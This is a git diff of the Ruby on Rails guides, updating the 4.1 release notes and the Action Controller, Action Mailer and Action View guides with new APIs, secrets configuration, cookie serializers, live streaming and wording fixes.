+* Removed deprecated `Proc#bind` with no replacement.
+
+* Removed deprecated `Array#uniq_by` and `Array#uniq_by!`, use native
+ `Array#uniq` and `Array#uniq!` instead.
+
+* Removed deprecated `ActiveSupport::BasicObject`, use
+ `ActiveSupport::ProxyObject` instead.
+
+* Removed deprecated `BufferedLogger`, use `ActiveSupport::Logger` instead.
+
+* Removed deprecated `assert_present` and `assert_blank` methods, use `assert
+ object.blank?` and `assert object.present?` instead.
+
+* Remove deprecated `#filter` method for filter objects, use the corresponding
+ method instead (e.g. `#before` for a before filter).
+
+* Removed 'cow' => 'kine' irregular inflection from default
+ inflections. ([Commit](https://github.com/rails/rails/commit/c300dca9963bda78b8f358dbcb59cabcdc5e1dc9))
+
+### Deprecations
+
+* Deprecated `Numeric#{ago,until,since,from_now}`, the user is expected to
+ explicitly convert the value into an AS::Duration, i.e. `5.ago` => `5.seconds.ago`
+ ([Pull Request](https://github.com/rails/rails/pull/12389))
+
+* Deprecated the require path `active_support/core_ext/object/to_json`. Require
+ `active_support/core_ext/object/json` instead. ([Pull Request](https://github.com/rails/rails/pull/12203))
+
+* Deprecated `ActiveSupport::JSON::Encoding::CircularReferenceError`. This feature
+ has been extracted into the [activesupport-json_encoder](https://github.com/rails/activesupport-json_encoder)
+ gem.
+ ([Pull Request](https://github.com/rails/rails/pull/12785) /
+ [More Details](upgrading_ruby_on_rails.html#changes-in-json-handling))
+
+* Deprecated `ActiveSupport.encode_big_decimal_as_string` option. This feature has
+ been extracted into the [activesupport-json_encoder](https://github.com/rails/activesupport-json_encoder)
+ gem.
+ ([Pull Request](https://github.com/rails/rails/pull/13060) /
+ [More Details](upgrading_ruby_on_rails.html#changes-in-json-handling))
+
+* Deprecate custom `BigDecimal`
+ serialization. ([Pull Request](https://github.com/rails/rails/pull/13911))
+
+### Notable changes
+
+* `ActiveSupport`'s JSON encoder has been rewritten to take advantage of the
+ JSON gem rather than doing custom encoding in pure-Ruby.
+ ([Pull Request](https://github.com/rails/rails/pull/12183) /
+ [More Details](upgrading_ruby_on_rails.html#changes-in-json-handling))
+
+* Improved compatibility with the JSON gem.
+ ([Pull Request](https://github.com/rails/rails/pull/12862) /
+ [More Details](upgrading_ruby_on_rails.html#changes-in-json-handling))
+
+* Added `ActiveSupport::Testing::TimeHelpers#travel` and `#travel_to`. These
+ methods change current time to the given time or duration by stubbing
+ `Time.now` and `Date.today`.
+
+* Added `ActiveSupport::Testing::TimeHelpers#travel_back`. This method returns
+ the current time to the original state, by removing the stubs added by `travel`
+ and `travel_to`. ([Pull Request](https://github.com/rails/rails/pull/13884))
+
+* Added `Numeric#in_milliseconds`, like `1.hour.in_milliseconds`, so we can feed
+ them to JavaScript functions like
+ `getTime()`. ([Commit](https://github.com/rails/rails/commit/423249504a2b468d7a273cbe6accf4f21cb0e643))
+
+* Added `Date#middle_of_day`, `DateTime#middle_of_day` and `Time#middle_of_day`
+ methods. Also added `midday`, `noon`, `at_midday`, `at_noon` and
+ `at_middle_of_day` as
+ aliases. ([Pull Request](https://github.com/rails/rails/pull/10879))
+
+* Added `Date#all_week/month/quarter/year` for generating date
+ ranges. ([Pull Request](https://github.com/rails/rails/pull/9685))
+
+* Added `Time.zone.yesterday` and
+ `Time.zone.tomorrow`. ([Pull Request](https://github.com/rails/rails/pull/12822))
+
+* Added `String#remove(pattern)` as a short-hand for the common pattern of
+ `String#gsub(pattern,'')`. ([Commit](https://github.com/rails/rails/commit/5da23a3f921f0a4a3139495d2779ab0d3bd4cb5f))
+
+* Added `Hash#compact` and `Hash#compact!` for removing items with nil value
+ from hash. ([Pull Request](https://github.com/rails/rails/pull/13632))
+
+* `blank?` and `present?` commit to return
+ singletons. ([Commit](https://github.com/rails/rails/commit/126dc47665c65cd129967cbd8a5926dddd0aa514))
+
+* Default the new `I18n.enforce_available_locales` config to `true`, meaning
+ `I18n` will make sure that all locales passed to it must be declared in the
+ `available_locales`
+ list. ([Pull Request](https://github.com/rails/rails/pull/13341))
+
+* Introduce `Module#concerning`: a natural, low-ceremony way to separate
+ responsibilities within a
+ class. ([Commit](https://github.com/rails/rails/commit/1eee0ca6de975b42524105a59e0521d18b38ab81))
+
+* Added `Object#presence_in` to simplify value whitelisting.
+ ([Commit](https://github.com/rails/rails/commit/4edca106daacc5a159289eae255207d160f22396))
+
+
+Credits
+-------
+
+See the
+[full list of contributors to Rails](http://contributors.rubyonrails.org/) for
+the many people who spent many hours making Rails, the stable and robust
+framework it is. Kudos to all of them.
diff --git a/guides/source/_license.html.erb b/guides/source/_license.html.erb
index 00b4466f50..d22f016948 100644
--- a/guides/source/_license.html.erb
+++ b/guides/source/_license.html.erb
@@ -1,2 +1,2 @@
-<p>This work is licensed under a <a href="http://creativecommons.org/licenses/by-sa/3.0/">Creative Commons Attribution-Share Alike 3.0</a> License</p>
+<p>This work is licensed under a <a href="https://creativecommons.org/licenses/by-sa/4.0/">Creative Commons Attribution-ShareAlike 4.0 International</a> License</p>
<p>"Rails", "Ruby on Rails", and the Rails logo are trademarks of David Heinemeier Hansson. All rights reserved.</p>
diff --git a/guides/source/_welcome.html.erb b/guides/source/_welcome.html.erb
index 9210c40c17..9101ed60d4 100644
--- a/guides/source/_welcome.html.erb
+++ b/guides/source/_welcome.html.erb
@@ -10,13 +10,10 @@
</p>
<% else %>
<p>
- These are the new guides for Rails 4.0 based on <a href="https://github.com/rails/rails/tree/<%= @version %>"><%= @version %></a>.
+ These are the new guides for Rails 4.1 based on <a href="https://github.com/rails/rails/tree/<%= @version %>"><%= @version %></a>.
These guides are designed to make you immediately productive with Rails, and to help you understand how all of the pieces fit together.
</p>
<% end %>
<p>
- The guides for Rails 3.2.x are available at <a href="http://guides.rubyonrails.org/v3.2.13/">http://guides.rubyonrails.org/v3.2.13/</a>.
-</p>
-<p>
- The guides for Rails 2.3.x are available at <a href="http://guides.rubyonrails.org/v2.3.11/">http://guides.rubyonrails.org/v2.3.11/</a>.
+ The guides for earlier releases: <a href="http://guides.rubyonrails.org/v4.1.0/">Rails 4.1.0</a>, <a href="http://guides.rubyonrails.org/v4.0.4/">Rails 4.0.4</a>, <a href="http://guides.rubyonrails.org/v3.2.17/">Rails 3.2.17</a> and <a href="http://guides.rubyonrails.org/v2.3.11/">Rails 2.3.11</a>.
</p>
diff --git a/guides/source/action_controller_overview.md b/guides/source/action_controller_overview.md
index 6a91418e1f..1735188f27 100644
--- a/guides/source/action_controller_overview.md
+++ b/guides/source/action_controller_overview.md
@@ -34,7 +34,7 @@ The naming convention of controllers in Rails favors pluralization of the last w
Following this convention will allow you to use the default route generators (e.g. `resources`, etc) without needing to qualify each `:path` or `:controller`, and keeps URL and path helpers' usage consistent throughout your application. See [Layouts & Rendering Guide](layouts_and_rendering.html) for more details.
-NOTE: The controller naming convention differs from the naming convention of models, which expected to be named in singular form.
+NOTE: The controller naming convention differs from the naming convention of models, which are expected to be named in singular form.
Methods and Actions
@@ -112,6 +112,10 @@ NOTE: The actual URL in this example will be encoded as "/clients?ids%5b%5d=1&id
The value of `params[:ids]` will now be `["1", "2", "3"]`. Note that parameter values are always strings; Rails makes no attempt to guess or cast the type.
+NOTE: Values such as `[]`, `[nil]` or `[nil, nil, ...]` in `params` are replaced
+with `nil` for security reasons by default. See [Security Guide](security.html#unsafe-query-generation)
+for more information.
+
To send a hash you include the key name inside the brackets:
```html
@@ -160,7 +164,7 @@ NOTE: Support for parsing XML parameters has been extracted into a gem named `ac
The `params` hash will always contain the `:controller` and `:action` keys, but you should use the methods `controller_name` and `action_name` instead to access these values. Any other parameters defined by the routing, such as `:id` will also be available. As an example, consider a listing of clients where the list can show either active or inactive clients. We can add a route which captures the `:status` parameter in a "pretty" URL:
```ruby
-match '/clients/:status' => 'clients#index', foo: 'bar'
+get '/clients/:status' => 'clients#index', foo: 'bar'
```
In this case, when a user opens the URL `/clients/active`, `params[:status]` will be set to "active". When this route is used, `params[:foo]` will also be set to "bar" just like it was passed in the query string. In the same way `params[:action]` will contain "index".
@@ -209,7 +213,7 @@ class PeopleController < ActionController::Base
# Request reply.
def update
person = current_account.people.find(params[:id])
- person.update_attributes!(person_params)
+ person.update!(person_params)
redirect_to person
end
@@ -256,7 +260,7 @@ used:
params.require(:log_entry).permit!
```
-This will mark the `:log_entry` parameters hash and any subhash of it
+This will mark the `:log_entry` parameters hash and any sub-hash of it
permitted. Extreme care should be taken when using `permit!` as it
will allow all current and future model attributes to be
mass-assigned.
@@ -321,16 +325,16 @@ in mind. It is not meant as a silver bullet to handle all your
whitelisting problems. However you can easily mix the API with your
own code to adapt to your situation.
-Imagine a scenario where you want to whitelist an attribute
-containing a hash with any keys. Using strong parameters you can't
-allow a hash with any keys but you can use a simple assignment to get
-the job done:
+Imagine a scenario where you have parameters representing a product
+name and a hash of arbitrary data associated with that product, and
+you want to whitelist the product name attribute but also the whole
+data hash. The strong parameters API doesn't let you directly
+whitelist the whole of a nested hash with any keys, but you can use
+the keys of your nested hash to declare what to whitelist:
```ruby
def product_params
- params.require(:product).permit(:name).tap do |whitelisted|
- whitelisted[:data] = params[:product][:data]
- end
+ params.require(:product).permit(:name, data: params[:product][:data].try(:keys))
end
```
@@ -346,11 +350,11 @@ Your application has a session for each user in which you can store small amount
All session stores use a cookie to store a unique ID for each session (you must use a cookie, Rails will not allow you to pass the session ID in the URL as this is less secure).
-For most stores, this ID is used to look up the session data on the server, e.g. in a database table. There is one exception, and that is the default and recommended session store - the CookieStore - which stores all session data in the cookie itself (the ID is still available to you if you need it). This has the advantage of being very lightweight and it requires zero setup in a new application in order to use the session. The cookie data is cryptographically signed to make it tamper-proof, but it is not encrypted, so anyone with access to it can read its contents but not edit it (Rails will not accept it if it has been edited).
+For most stores, this ID is used to look up the session data on the server, e.g. in a database table. There is one exception, and that is the default and recommended session store - the CookieStore - which stores all session data in the cookie itself (the ID is still available to you if you need it). This has the advantage of being very lightweight and it requires zero setup in a new application in order to use the session. The cookie data is cryptographically signed to make it tamper-proof. And it is also encrypted so anyone with access to it can't read its contents. (Rails will not accept it if it has been edited).
-The CookieStore can store around 4kB of data — much less than the others — but this is usually enough. Storing large amounts of data in the session is discouraged no matter which session store your application uses. You should especially avoid storing complex objects (anything other than basic Ruby objects, the most common example being model instances) in the session, as the server might not be able to reassemble them between requests, which will result in an error.
+The CookieStore can store around 4kB of data - much less than the others - but this is usually enough. Storing large amounts of data in the session is discouraged no matter which session store your application uses. You should especially avoid storing complex objects (anything other than basic Ruby objects, the most common example being model instances) in the session, as the server might not be able to reassemble them between requests, which will result in an error.
-If your user sessions don't store critical data or don't need to be around for long periods (for instance if you just use the flash for messaging), you can consider using ActionDispatch::Session::CacheStore. This will store sessions using the cache implementation you have configured for your application. The advantage of this is that you can use your existing cache infrastructure for storing sessions without requiring any additional setup or administration. The downside, of course, is that the sessions will be ephemeral and could disappear at any time.
+If your user sessions don't store critical data or don't need to be around for long periods (for instance if you just use the flash for messaging), you can consider using `ActionDispatch::Session::CacheStore`. This will store sessions using the cache implementation you have configured for your application. The advantage of this is that you can use your existing cache infrastructure for storing sessions without requiring any additional setup or administration. The downside, of course, is that the sessions will be ephemeral and could disappear at any time.
Read more about session storage in the [Security Guide](security.html).
@@ -360,33 +364,48 @@ If you need a different session storage mechanism, you can change it in the `con
# Use the database for sessions instead of the cookie-based default,
# which shouldn't be used to store highly confidential information
# (create the session table with "rails g active_record:session_migration")
-# YourApp::Application.config.session_store :active_record_store
+# Rails.application.config.session_store :active_record_store
```
Rails sets up a session key (the name of the cookie) when signing the session data. These can also be changed in `config/initializers/session_store.rb`:
```ruby
# Be sure to restart your server when you modify this file.
-YourApp::Application.config.session_store :cookie_store, key: '_your_app_session'
+Rails.application.config.session_store :cookie_store, key: '_your_app_session'
```
You can also pass a `:domain` key and specify the domain name for the cookie:
```ruby
# Be sure to restart your server when you modify this file.
-YourApp::Application.config.session_store :cookie_store, key: '_your_app_session', domain: ".example.com"
+Rails.application.config.session_store :cookie_store, key: '_your_app_session', domain: ".example.com"
```
-Rails sets up (for the CookieStore) a secret key used for signing the session data. This can be changed in `config/initializers/secret_token.rb`
+Rails sets up (for the CookieStore) a secret key used for signing the session data. This can be changed in `config/secrets.yml`
```ruby
# Be sure to restart your server when you modify this file.
-# Your secret key for verifying the integrity of signed cookies.
+# Your secret key is used for verifying the integrity of signed cookies.
# If you change this key, all old signed cookies will become invalid!
+
# Make sure the secret is at least 30 characters and all random,
# no regular words or you'll be exposed to dictionary attacks.
-YourApp::Application.config.secret_key_base = '49d3f3de9ed86c74b94ad6bd0...'
+# You can use `rake secret` to generate a secure secret key.
+
+# Make sure the secrets in this file are kept private
+# if you're sharing your code publicly.
+
+development:
+ secret_key_base: a75d...
+
+test:
+ secret_key_base: 492f...
+
+# Do not keep production secrets in the repository,
+# instead read values from the environment.
+production:
+ secret_key_base: <%= ENV["SECRET_KEY_BASE"] %>
```
NOTE: Changing the secret when using the `CookieStore` will invalidate all existing sessions.
@@ -410,7 +429,7 @@ class ApplicationController < ActionController::Base
# logging out removes it.
def current_user
@_current_user ||= session[:current_user_id] &&
- User.find_by_id(session[:current_user_id])
+ User.find_by(id: session[:current_user_id])
end
end
```
@@ -538,7 +557,7 @@ end
Cookies
-------
-Your application can store small amounts of data on the client — called cookies — that will be persisted across requests and even sessions. Rails provides easy access to cookies via the `cookies` method, which — much like the `session` — works like a hash:
+Your application can store small amounts of data on the client - called cookies - that will be persisted across requests and even sessions. Rails provides easy access to cookies via the `cookies` method, which - much like the `session` - works like a hash:
```ruby
class CommentsController < ApplicationController
@@ -568,6 +587,62 @@ end
Note that while for session values you set the key to `nil`, to delete a cookie value you should use `cookies.delete(:key)`.
+Rails also provides a signed cookie jar and an encrypted cookie jar for storing
+sensitive data. The signed cookie jar appends a cryptographic signature on the
+cookie values to protect their integrity. The encrypted cookie jar encrypts the
+values in addition to signing them, so that they cannot be read by the end user.
+Refer to the [API documentation](http://api.rubyonrails.org/classes/ActionDispatch/Cookies.html)
+for more details.
+
+These special cookie jars use a serializer to serialize the assigned values into
+strings and deserializes them into Ruby objects on read.
+
+You can specify what serializer to use:
+
+```ruby
+Rails.application.config.action_dispatch.cookies_serializer = :json
+```
+
+The default serializer for new applications is `:json`. For compatibility with
+old applications with existing cookies, `:marshal` is used when `serializer`
+option is not specified.
+
+You may also set this option to `:hybrid`, in which case Rails would transparently
+deserialize existing (`Marshal`-serialized) cookies on read and re-write them in
+the `JSON` format. This is useful for migrating existing applications to the
+`:json` serializer.
+
+It is also possible to pass a custom serializer that responds to `load` and
+`dump`:
+
+```ruby
+Rails.application.config.action_dispatch.cookies_serializer = MyCustomSerializer
+```
+
+When using the `:json` or `:hybrid` serializer, you should beware that not all
+Ruby objects can be serialized as JSON. For example, `Date` and `Time` objects
+will be serialized as strings, and `Hash`es will have their keys stringified.
+
+```ruby
+class CookiesController < ApplicationController
+ def set_cookie
+ cookies.encrypted[:expiration_date] = Date.tomorrow # => Thu, 20 Mar 2014
+ redirect_to action: 'read_cookie'
+ end
+
+ def read_cookie
+ cookies.encrypted[:expiration_date] # => "2014-03-20"
+ end
+end
+```
+
+It's advisable that you only store simple data (strings and numbers) in cookies.
+If you have to store complex objects, you would need to handle the conversion
+manually when reading the values on subsequent requests.
+
+If you use the cookie session store, this would apply to the `session` and
+`flash` hash as well.
+
Rendering XML and JSON data
---------------------------
@@ -665,14 +740,17 @@ The first is to use a block directly with the *_action methods. The block receiv
```ruby
class ApplicationController < ActionController::Base
before_action do |controller|
- redirect_to new_login_url unless controller.send(:logged_in?)
+ unless controller.send(:logged_in?)
+ flash[:error] = "You must be logged in to access this section"
+ redirect_to new_login_url
+ end
end
end
```
Note that the filter in this case uses `send` because the `logged_in?` method is private and the filter is not run in the scope of the controller. This is not the recommended way to implement this particular filter, but in more simple cases it might be useful.
-The second way is to use a class (actually, any object that responds to the right methods will do) to handle the filtering. This is useful in cases that are more complex and can not be implemented in a readable and reusable way using the two other methods. As an example, you could rewrite the login filter again to use a class:
+The second way is to use a class (actually, any object that responds to the right methods will do) to handle the filtering. This is useful in cases that are more complex and cannot be implemented in a readable and reusable way using the two other methods. As an example, you could rewrite the login filter again to use a class:
```ruby
class ApplicationController < ActionController::Base
@@ -680,16 +758,16 @@ class ApplicationController < ActionController::Base
end
class LoginFilter
- def self.filter(controller)
+ def self.before(controller)
unless controller.send(:logged_in?)
- controller.flash[:error] = "You must be logged in"
+ controller.flash[:error] = "You must be logged in to access this section"
controller.redirect_to controller.new_login_url
end
end
end
```
-Again, this is not an ideal example for this filter, because it's not run in the scope of the controller but gets the controller passed as an argument. The filter class has a class method `filter` which gets run before or after the action, depending on if it's a before or after filter. Classes used as around filters can also use the same `filter` method, which will get run in the same way. The method must `yield` to execute the action. Alternatively, it can have both a `before` and an `after` method that are run before and after the action.
+Again, this is not an ideal example for this filter, because it's not run in the scope of the controller but gets the controller passed as an argument. The filter class must implement a method with the same name as the filter, so for the `before_action` filter the class must implement a `before` method, and so on. The `around` method must `yield` to execute the action.
Request Forgery Protection
--------------------------
@@ -794,7 +872,7 @@ class AdminsController < ApplicationController
end
```
-With this in place, you can create namespaced controllers that inherit from `AdminController`. The filter will thus be run for all actions in those controllers, protecting them with HTTP basic authentication.
+With this in place, you can create namespaced controllers that inherit from `AdminsController`. The filter will thus be run for all actions in those controllers, protecting them with HTTP basic authentication.
### HTTP Digest Authentication
@@ -808,11 +886,11 @@ class AdminsController < ApplicationController
private
- def authenticate
- authenticate_or_request_with_http_digest do |username|
- USERS[username]
+ def authenticate
+ authenticate_or_request_with_http_digest do |username|
+ USERS[username]
+ end
end
- end
end
```
@@ -839,13 +917,13 @@ class ClientsController < ApplicationController
private
- def generate_pdf(client)
- Prawn::Document.new do
- text client.name, align: :center
- text "Address: #{client.address}"
- text "Email: #{client.email}"
- end.render
- end
+ def generate_pdf(client)
+ Prawn::Document.new do
+ text client.name, align: :center
+ text "Address: #{client.address}"
+ text "Email: #{client.email}"
+ end.render
+ end
end
```
@@ -907,6 +985,92 @@ Now the user can request to get a PDF version of a client just by adding ".pdf"
GET /clients/1.pdf
```
+### Live Streaming of Arbitrary Data
+
+Rails allows you to stream more than just files. In fact, you can stream anything
+you would like in a response object. The `ActionController::Live` module allows
+you to create a persistent connection with a browser. Using this module, you will
+be able to send arbitrary data to the browser at specific points in time.
+
+#### Incorporating Live Streaming
+
+Including `ActionController::Live` inside of your controller class will provide
+all actions inside of the controller the ability to stream data. You can mix in
+the module like so:
+
+```ruby
+class MyController < ActionController::Base
+ include ActionController::Live
+
+ def stream
+ response.headers['Content-Type'] = 'text/event-stream'
+ 100.times {
+ response.stream.write "hello world\n"
+ sleep 1
+ }
+ ensure
+ response.stream.close
+ end
+end
+```
+
+The above code will keep a persistent connection with the browser and send 100
+messages of `"hello world\n"`, each one second apart.
+
+There are a couple of things to notice in the above example. We need to make
+sure to close the response stream. Forgetting to close the stream will leave
+the socket open forever. We also have to set the content type to `text/event-stream`
+before we write to the response stream. This is because headers cannot be written
+after the response has been committed (when `response.committed` returns a truthy
+value), which occurs when you `write` or `commit` the response stream.
+
+#### Example Usage
+
+Let's suppose that you were making a Karaoke machine and a user wants to get the
+lyrics for a particular song. Each `Song` has a particular number of lines and
+each line takes time `num_beats` to finish singing.
+
+If we wanted to return the lyrics in Karaoke fashion (only sending the line when
+the singer has finished the previous line), then we could use `ActionController::Live`
+as follows:
+
+```ruby
+class LyricsController < ActionController::Base
+ include ActionController::Live
+
+ def show
+ response.headers['Content-Type'] = 'text/event-stream'
+ song = Song.find(params[:id])
+
+ song.each do |line|
+ response.stream.write line.lyrics
+ sleep line.num_beats
+ end
+ ensure
+ response.stream.close
+ end
+end
+```
+
+The above code sends the next line only after the singer has completed the previous
+line.
+
+#### Streaming Considerations
+
+Streaming arbitrary data is an extremely powerful tool. As shown in the previous
+examples, you can choose when and what to send across a response stream. However,
+you should also note the following things:
+
+* Each response stream creates a new thread and copies over the thread local
+ variables from the original thread. Having too many thread local variables can
+ negatively impact performance. Similarly, a large number of threads can also
+ hinder performance.
+* Failing to close the response stream will leave the corresponding socket open
+ forever. Make sure to call `close` whenever you are using a response stream.
+* WEBrick servers buffer all responses, and so including `ActionController::Live`
+ will not work. You must use a web server which does not automatically buffer
+ responses.
+
Log Filtering
-------------
@@ -962,9 +1126,9 @@ class ApplicationController < ActionController::Base
private
- def record_not_found
- render text: "404 Not Found", status: 404
- end
+ def record_not_found
+ render plain: "404 Not Found", status: 404
+ end
end
```
@@ -976,10 +1140,10 @@ class ApplicationController < ActionController::Base
private
- def user_not_authorized
- flash[:error] = "You don't have access to this section."
- redirect_to :back
- end
+ def user_not_authorized
+ flash[:error] = "You don't have access to this section."
+ redirect_to :back
+ end
end
class ClientsController < ApplicationController
@@ -993,10 +1157,10 @@ class ClientsController < ApplicationController
private
- # If the user is not authorized, just throw the exception.
- def check_authorization
- raise User::NotAuthorized unless current_user.admin?
- end
+ # If the user is not authorized, just throw the exception.
+ def check_authorization
+ raise User::NotAuthorized unless current_user.admin?
+ end
end
```
diff --git a/guides/source/action_mailer_basics.md b/guides/source/action_mailer_basics.md
index d1dd231cf6..6dc7fb1606 100644
--- a/guides/source/action_mailer_basics.md
+++ b/guides/source/action_mailer_basics.md
@@ -105,7 +105,7 @@ will be the template used for the email, formatted in HTML:
<h1>Welcome to example.com, <%= @user.name %></h1>
<p>
You have successfully signed up to example.com,
- your username is: <%= @user.login %>.<br/>
+ your username is: <%= @user.login %>.<br>
</p>
<p>
To login to the site, just follow this link: <%= @url %>.
@@ -138,7 +138,7 @@ When you call the `mail` method now, Action Mailer will detect the two templates
Mailers are really just another way to render a view. Instead of rendering a
view and sending out the HTTP protocol, they are just sending it out through the
-Email protocols instead. Due to this, it makes sense to just have your
+email protocols instead. Due to this, it makes sense to just have your
controller tell the Mailer to send an email when a user is successfully created.
Setting this up is painfully simple.
@@ -164,7 +164,7 @@ class UsersController < ApplicationController
respond_to do |format|
if @user.save
- # Tell the UserMailer to send a welcome Email after save
+ # Tell the UserMailer to send a welcome email after save
UserMailer.welcome_email(@user).deliver
format.html { redirect_to(@user, notice: 'User was successfully created.') }
@@ -216,6 +216,11 @@ Action Mailer makes it very easy to add attachments.
attachments['filename.jpg'] = File.read('/path/to/filename.jpg')
```
+ When the `mail` method will be triggered, it will send a multipart email with
+ an attachment, properly nested with the top level being `multipart/mixed` and
+ the first part being a `multipart/alternative` containing the plain text and
+ HTML email messages.
+
NOTE: Mail will automatically Base64 encode an attachment. If you want something
different, encode your content and pass in the encoded content and encoding in a
`Hash` to the `attachments` method.
@@ -373,7 +378,7 @@ Just like with controller views, use `yield` to render the view inside the
layout.
You can also pass in a `layout: 'layout_name'` option to the render call inside
-the format block to specify different layouts for different actions:
+the format block to specify different layouts for different formats:
```ruby
class UserMailer < ActionMailer::Base
@@ -451,26 +456,6 @@ with the HTML and text versions setup as different parts.
The order of the parts getting inserted is determined by the `:parts_order`
inside of the `ActionMailer::Base.default` method.
-### Sending Emails with Attachments
-
-Attachments can be added by using the `attachments` method:
-
-```ruby
-class UserMailer < ActionMailer::Base
- def welcome_email(user)
- @user = user
- @url = user_url(@user)
- attachments['terms.pdf'] = File.read('/path/terms.pdf')
- mail(to: @user.email,
- subject: 'Please see the Terms and Conditions attached')
- end
-end
-```
-
-The above will send a multipart email with an attachment, properly nested with
-the top level being `multipart/mixed` and the first part being a
-`multipart/alternative` containing the plain text and HTML email messages.
-
### Sending Emails with Dynamic Delivery Options
If you wish to override the default delivery options (e.g. SMTP credentials)
@@ -532,7 +517,7 @@ method. Here's an example:
```ruby
class UserMailer < ActionMailer::Base
def receive(email)
- page = Page.find_by_address(email.to.first)
+ page = Page.find_by(address: email.to.first)
page.emails.create(
subject: email.subject,
body: email.body
@@ -584,25 +569,25 @@ class UserMailer < ActionMailer::Base
private
- def set_delivery_options
- # You have access to the mail instance,
- # @business and @user instance variables here
- if @business && @business.has_smtp_settings?
- mail.delivery_method.settings.merge!(@business.smtp_settings)
+ def set_delivery_options
+ # You have access to the mail instance,
+ # @business and @user instance variables here
+ if @business && @business.has_smtp_settings?
+ mail.delivery_method.settings.merge!(@business.smtp_settings)
+ end
end
- end
- def prevent_delivery_to_guests
- if @user && @user.guest?
- mail.perform_deliveries = false
+ def prevent_delivery_to_guests
+ if @user && @user.guest?
+ mail.perform_deliveries = false
+ end
end
- end
- def set_business_headers
- if @business
- headers["X-SMTPAPI-CATEGORY"] = @business.code
+ def set_business_headers
+ if @business
+ headers["X-SMTPAPI-CATEGORY"] = @business.code
+ end
end
- end
end
```
@@ -626,7 +611,7 @@ files (environment.rb, production.rb, etc...)
|`smtp_settings`|Allows detailed configuration for `:smtp` delivery method:<ul><li>`:address` - Allows you to use a remote mail server. Just change it from its default "localhost" setting.</li><li>`:port` - On the off chance that your mail server doesn't run on port 25, you can change it.</li><li>`:domain` - If you need to specify a HELO domain, you can do it here.</li><li>`:user_name` - If your mail server requires authentication, set the username in this setting.</li><li>`:password` - If your mail server requires authentication, set the password in this setting.</li><li>`:authentication` - If your mail server requires authentication, you need to specify the authentication type here. This is a symbol and one of `:plain`, `:login`, `:cram_md5`.</li><li>`:enable_starttls_auto` - Set this to `false` if there is a problem with your server certificate that you cannot resolve.</li></ul>|
|`sendmail_settings`|Allows you to override options for the `:sendmail` delivery method.<ul><li>`:location` - The location of the sendmail executable. Defaults to `/usr/sbin/sendmail`.</li><li>`:arguments` - The command line arguments to be passed to sendmail. Defaults to `-i -t`.</li></ul>|
|`raise_delivery_errors`|Whether or not errors should be raised if the email fails to be delivered. This only works if the external email server is configured for immediate delivery.|
-|`delivery_method`|Defines a delivery method. Possible values are `:smtp` (default), `:sendmail`, `:file` and `:test`.|
+|`delivery_method`|Defines a delivery method. Possible values are:<ul><li>`:smtp` (default), can be configured by using `config.action_mailer.smtp_settings`.</li><li>`:sendmail`, can be configured by using `config.action_mailer.sendmail_settings`.</li><li>`:file`: save emails to files; can be configured by using `config.action_mailer.file_settings`.</li><li>`:test`: save emails to `ActionMailer::Base.deliveries` array.</li></ul>See [API docs](http://api.rubyonrails.org/classes/ActionMailer/Base.html) for more info.|
|`perform_deliveries`|Determines whether deliveries are actually carried out when the `deliver` method is invoked on the Mail message. By default they are, but this can be turned off to help functional testing.|
|`deliveries`|Keeps an array of all the emails sent out through the Action Mailer with delivery_method :test. Most useful for unit and functional testing.|
|`default_options`|Allows you to set default values for the `mail` method options (`:from`, `:reply_to`, etc.).|
@@ -654,8 +639,8 @@ config.action_mailer.default_options = {from: 'no-reply@example.com'}
### Action Mailer Configuration for Gmail
-As Action Mailer now uses the Mail gem, this becomes as simple as adding to your
-`config/environments/$RAILS_ENV.rb` file:
+As Action Mailer now uses the [Mail gem](https://github.com/mikel/mail), this
+becomes as simple as adding to your `config/environments/$RAILS_ENV.rb` file:
```ruby
config.action_mailer.delivery_method = :smtp
diff --git a/guides/source/action_view_overview.md b/guides/source/action_view_overview.md
index b3fc61f386..74f95bfcfd 100644
--- a/guides/source/action_view_overview.md
+++ b/guides/source/action_view_overview.md
@@ -68,7 +68,7 @@ Consider the following loop for names:
```html+erb
<h1>Names of all the people</h1>
<% @people.each do |person| %>
- Name: <%= person.name %><br/>
+ Name: <%= person.name %><br>
<% end %>
```
@@ -152,7 +152,7 @@ By default, Rails will compile each template to a method in order to render it.
### Partials
-Partial templates – usually just called "partials" – are another device for breaking the rendering process into more manageable chunks. With partials, you can extract pieces of code from your templates to separate files and also reuse them throughout your templates.
+Partial templates - usually just called "partials" - are another device for breaking the rendering process into more manageable chunks. With partials, you can extract pieces of code from your templates to separate files and also reuse them throughout your templates.
#### Naming Partials
@@ -262,14 +262,14 @@ Rails determines the name of the partial to use by looking at the model name in
You can also specify a second partial to be rendered between instances of the main partial by using the `:spacer_template` option:
```erb
-<%= render @products, spacer_template: "product_ruler" %>
+<%= render partial: @products, spacer_template: "product_ruler" %>
```
Rails will render the `_product_ruler` partial (with no data passed to it) between each pair of `_product` partials.
### Layouts
-Layouts can be used to render a common view template around the results of Rails controller actions. Typically, every Rails has a couple of overall layouts that most pages are rendered within. For example, a site might have a layout for a logged in user, and a layout for the marketing or sales side of the site. The logged in user layout might include top-level navigation that should be present across many controller actions. The sales layout for a SaaS app might include top-level navigation for things like "Pricing" and "Contact Us." You would expect each layout to have a different look and feel. You can read more details about Layouts in the [Layouts and Rendering in Rails](layouts_and_rendering.html) guide.
+Layouts can be used to render a common view template around the results of Rails controller actions. Typically, every Rails application has a couple of overall layouts that most pages are rendered within. For example, a site might have a layout for a logged in user, and a layout for the marketing or sales side of the site. The logged in user layout might include top-level navigation that should be present across many controller actions. The sales layout for a SaaS app might include top-level navigation for things like "Pricing" and "Contact Us." You would expect each layout to have a different look and feel. You can read more details about Layouts in the [Layouts and Rendering in Rails](layouts_and_rendering.html) guide.
Partial Layouts
---------------
@@ -464,7 +464,7 @@ stylesheet_link_tag :monkey # =>
#### auto_discovery_link_tag
-Returns a link tag that browsers and news readers can use to auto-detect an RSS or Atom feed.
+Returns a link tag that browsers and feed readers can use to auto-detect an RSS or Atom feed.
```ruby
auto_discovery_link_tag(:rss, "http://www.example.com/feed.rss", {title: "RSS Feed"}) # =>
@@ -775,8 +775,8 @@ select_day(5)
Returns a select tag with options for each of the hours 0 through 23 with the current hour selected.
```ruby
-# Generates a select field for minutes that defaults to the minutes for the time provided
-select_minute(Time.now + 6.hours)
+# Generates a select field for hours that defaults to the hours for the time provided
+select_hour(Time.now + 6.hours)
```
#### select_minute
@@ -941,9 +941,9 @@ Creates a form and a scope around a specific model object that is used as a base
```html+erb
<%= form_for @post do |f| %>
<%= f.label :title, 'Title' %>:
- <%= f.text_field :title %><br />
+ <%= f.text_field :title %><br>
